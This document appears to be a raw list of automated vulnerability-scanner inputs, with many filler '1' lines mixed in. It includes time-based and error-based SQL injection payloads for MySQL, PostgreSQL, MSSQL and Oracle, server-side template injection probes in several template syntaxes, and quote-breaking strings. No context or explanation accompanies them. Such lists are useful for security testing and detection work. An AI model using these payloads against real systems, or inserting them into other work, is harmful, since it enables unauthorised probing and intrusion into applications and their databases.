1

1

1

(select*from(select+sleep(2)union/**/select+1)a)

/*1*/{{839002201+975993536}}

1

1

1'and(select*from(select+sleep(0))a/**/union/**/select+1)='

${959637689+843089154}

1

1

1'and(select*from(select+sleep(2))a/**/union/**/select+1)='

${(958693594+905506951)?c}

1

1

1"and(select*from(select+sleep(0))a/**/union/**/select+1)="

#set($c=982330348+843156766)${c}$c

1

1

1"and(select*from(select+sleep(2))a/**/union/**/select+1)="

<%- 946200901+863952249 %>

1

1

1/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

1

1

1

1/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

1

1

1'and/**/extractvalue(1,concat(char(126),md5(1947566454)))and'

1'/**/and(select'1'from/**/pg_sleep(0))::text>'0

1

1

1"and/**/extractvalue(1,concat(char(126),md5(1038299256)))and"

1'/**/and(select'1'from/**/pg_sleep(2))::text>'0

1

1

extractvalue(1,concat(char(126),md5(1381418364)))

1/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

1

1'and(select'1'from/**/cast(md5(1528682800)as/**/int))>'0

1/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

1/**/and/**/cast(md5('1963913164')as/**/int)>0

1'and(select+1)>0waitfor/**/delay'0:0:0

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1928208028')))

1'and(select+1)>0waitfor/**/delay'0:0:2

1'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1078454608')))>'0

1/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('a',0)

1鎈'"\(

1/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('r',2)

1'"\(

1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g

1

1'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',2)='b

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1